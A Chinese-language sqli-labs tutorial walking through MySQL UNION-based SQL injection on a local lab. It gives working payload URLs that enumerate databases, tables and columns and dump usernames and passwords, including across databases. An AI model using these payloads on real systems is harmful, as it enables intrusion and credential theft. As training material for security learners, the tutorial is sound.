深入淺出帶你玩轉sqlilabs(一)


一、MySQL數據庫結構分層

 

1.1庫名,表名,列名,數據庫用戶等

Mysql數據庫結構示例:

數據庫A zblog = www.zblog.com

  表名

    列名(字段)

      數據

數據庫B dede = www.dede.com

  表名

    列名(字段)

      數據

PS:

數據庫A及B都屬於Mysql數據庫里面的

數據庫用戶:管理數據庫的用戶

級別:管理員用戶名:root   普通用戶:自定義(就相當於計算機的管理員賬號和普通用戶賬號:可查看數據權限不同)

 

1.2數據庫與WEB應用相結合的架構關系

自帶數據庫:mysql數據庫自帶的(information_schema,test,performance_schema,mysql一個4個表)

用的較多的是information_schema數據庫

比較特殊的是,information_schema數據庫的表名下包含所有用戶建立的數據庫的數據庫名,表名,列名,字段名等,其結構如下圖

 

二、MYSQL基本注入流程

1.判斷注入,2.獲取數據庫名,3.表名,列名等

存在注入判斷: and 1=1(正確) and 1=2(錯誤)

數據庫中存在and or xor(且或非)

真 且 真 = 真

真 且 假 = 假

真 或 假 = 真

補充:

聯合查詢:order by x union select 1,2,3

 

information_schema:自帶數據庫 mysql5.0以上版本自帶,存儲有mysql數據庫下所有數據庫里面的數據信息,包括數據庫名,表名,列名等信息,所以我們根據查詢它獲取指定數據庫下的表名及列名信息。

table_name: 表名

column_name:列名

table_schema:數據庫名

information_schema.tables:存儲表名信息的表

information_schema.columns:存儲列名信息的表

information_schema.schemata:存儲數據庫名信息的表

mysql中符號“.”代表下一級

如:information_schema.tables:數據庫information_schema下的tables表

 

三、常用的查詢函數

user() 查詢數據庫用戶

database() 查詢數據庫名

version() 查詢數據庫版本

@@version_compile_os 查詢操作系統

 

獲取數據庫名:database() 報錯顯示

http://127.0.0.1:8080/sqlilabs/Less-1/?id=-2' union select 1,database(),3--+

獲取表名:

獲取數據庫名security下面的表名信息

http://127.0.0.1:8080/sqlilabs/Less-1/?id=-2' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

獲取列名:

獲取數據庫名security下的表名users下面列名信息

http://127.0.0.1:8080/sqlilabs/Less-1/?id=-2' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema='security'--+

獲取數據:

http://127.0.0.1:8080/sqlilabs/Less-1/?id=-2' union select 1,password,username from users limit 2,1--+

 

3.1第一關:

提示輸入以數值為參數的id

后面加入?id=1

輸出以上文字,說明有與數據庫交互,輸入?id=2

 

輸入?id=1',這是字符型注入

源碼有單引號,也說明了是字符型

出現報錯

這里為了方便查看自己輸入的sql語句是帶到數據庫中是怎么樣的,可以在代碼中加入

echo "$sql<br>";

刷新一下頁面

第一對單引號是報錯語句的單引號,第二對是字符型的單引號,第三個是我們加進去的單引號。很明顯,參數id是以字符串形式存在的,如果id參數是數值型,則只會出現左邊1個單引號,右邊2個單引號。

所以對於字符型注入,也要用?id=1'的單引號,因為為了輸出我們后面寫的語句,要先把php源碼中id='$id'的單引號提前閉合掉,才能輸出我們的關鍵語句

然后要進行數據庫列查詢( 因為要用到union select,所以必須查詢列數,即UNION SELECT連接的每個語句必須有相同的字段數)

http://localhost/sqli-labs-master/Less-1/?id=1' order by 4 --+

后面加注釋--+

提示不存在,說明不存在4列,往下數3

查詢正確,說明表有3列

然后用上union聯合查詢,輸入

localhost/sqli-labs-master/Less-1/?id=1' union select 1,2,3 --+

沒變化,因為上圖中黃色語句前半部分的select語句,是真,所以直接輸出,而頁面顯示位只有兩個,后面的union語句列數是3,所以是假,則直接不輸出后面語句

要想輸出后面的語句,則要把前面的語句變為假,比如id輸入一個不存在的數,如id=-3,有輸出:

可以看到,2和3的位置可以顯示出來,所以我們可以在2和3的位置插入函數,如

localhost/sqli-labs-master/Less-1/?id=-3' union select 1,version(),database() --+

所以數據庫版本和數據庫名稱就出來了

然后利用group_concat()函數可以一次性把數據庫信息獲取,輸入:

http://localhost/sqli-labs-master/Less-1/?id=-3' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

把數據庫的所有表名列出來了,如果把group函數去掉,就只會查詢出一個表名

接下來把想要查詢的表的列查詢出來,輸入:

http://localhost/sqli-labs-master/Less-1/?id=-3' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

輸出:

注意:這里獲取到的列名有兩個password,是因為我們是從table_name='users'表名獲取到的,而沒有指定是哪個數據庫,另外的數據庫也有可能有users表,所以有重復的列名(查詢是把所有數據庫都遍歷了),避免這種干擾因素可以這樣做:加上限制條件and table_schema=database()就可以了

http://localhost/sqli-labs-master/Less-1/?id=-3' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema=database()--+

知道有列有username就可以把列的數據,全部查出來,輸入:

http://localhost/sqli-labs-master/Less-1/?id=-3' union select 1,group_concat(username),3 from users--+

即從users表查詢出全部username,輸出:

如果把password也查出來,也為了美觀,可以把3的位置替換掉,輸入:

http://localhost/sqli-labs-master/Less-1/?id=-3' union select 1,group_concat(username),group_concat(password) from users--+

輸出:

 

在實際情況中,我們挖洞不能像這樣把所有的username和password一起搞出來,是犯法的,我們只能脫一兩條數據出來證明有這個漏洞就可以了,在語句中要加上limit

limit子句用於限制查詢結果返回的數量。

用法:【select * from tableName limit i,n 】

參數:

  • tableName : 為數據表;

  • i : 為查詢結果的索引值(默認從0開始);

  • n : 為查詢結果返回的數量

如:

http://localhost/sqlilabs/Less-1/?id=-2' union select 1,password,username from users limit 2,1--+

 

 

 

 

 

 

四、MYSQL基本注入拓展演示

4.1多種符號干擾

4.1.1第三關:

先看一下源代碼

多了個括號,因為實際情況是開發人員有不同開發習慣,代碼也不一樣,對於這關,我們可以把括號閉合就可以報錯注入了

http://localhost/sqlilabs/Less-3/?id=-1') order by 4--+

也可以這樣:

?id=-1') union select 1,2,3 and ('1'='1

SELECT * FROM users WHERE id=('id=-1') union select 1,2,3 and ('1'='1') LIMIT 0,  //原始命令

 

在第三關中,參數那里單引號外面還有一個括號,加個括號就行:

http://localhost/sqlilabs/Less-3/?id=-3') union select 1,version(),database() --+

 

 

 

4.1.2第四關

在第四關中,參數那里是雙引號外面還有一個括號

http://localhost/sqlilabs/Less-4/?id=-3") union select 1,version(),database() --+

 

 

4.2數據類型問題

4.2.1字符型注入:第一關,已經演示過了
4.2.2數字型注入:第二關,如下源碼

沒有單引號,所以是數字型

輸入字符串不顯示

判斷字符型還是數字型方法:在id參數id=6lk(開頭數字+字符串)報錯了,就是數字型注入,因為字符型注入不會報錯,會匹配到開頭數字輸出數據

 

 

五、MYSQL注入中的權限問題

mysql注入中的權限由數據庫進行連接的用戶決定,誰連接,擁有誰的權限

 

第二關中,可以用user()函數進行查詢當前網站用戶

http://127.0.0.1:8080/sqlilabs/Less-2/?id=-1 union select 1,user(),3--+

查詢出來是root用戶,危害非常大

 

5.1普通用戶注入攻擊

只能靠猜數據進行安全測試

 

5.2ROOT用戶注入攻擊

跨庫注入(旁站攻擊,拿到該旁站root數據庫賬號,去搞到主站數據庫),文件操作等

 

5.3跨庫注入(列出所有數據)

獲取所有數據庫名:

http://localhost/sqlilabs/Less-2/?id=-3 union select 1,group_concat(schema_name),3 from information_schema.schemata--+

 

獲取指定數據庫名dvwa的表名信息

http://localhost/sqlilabs/Less-2/?id=-3 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='dvwa'--+

 

獲取指定表名users的列名信息

http://localhost/sqlilabs/Less-2/?id=-3 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='admin' and table_schema='injection'--+

 

獲取指定數據avatar

http://localhost/sqlilabs/Less-2/?id=-3 union select 1,avatar,3 from dvwa.users

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM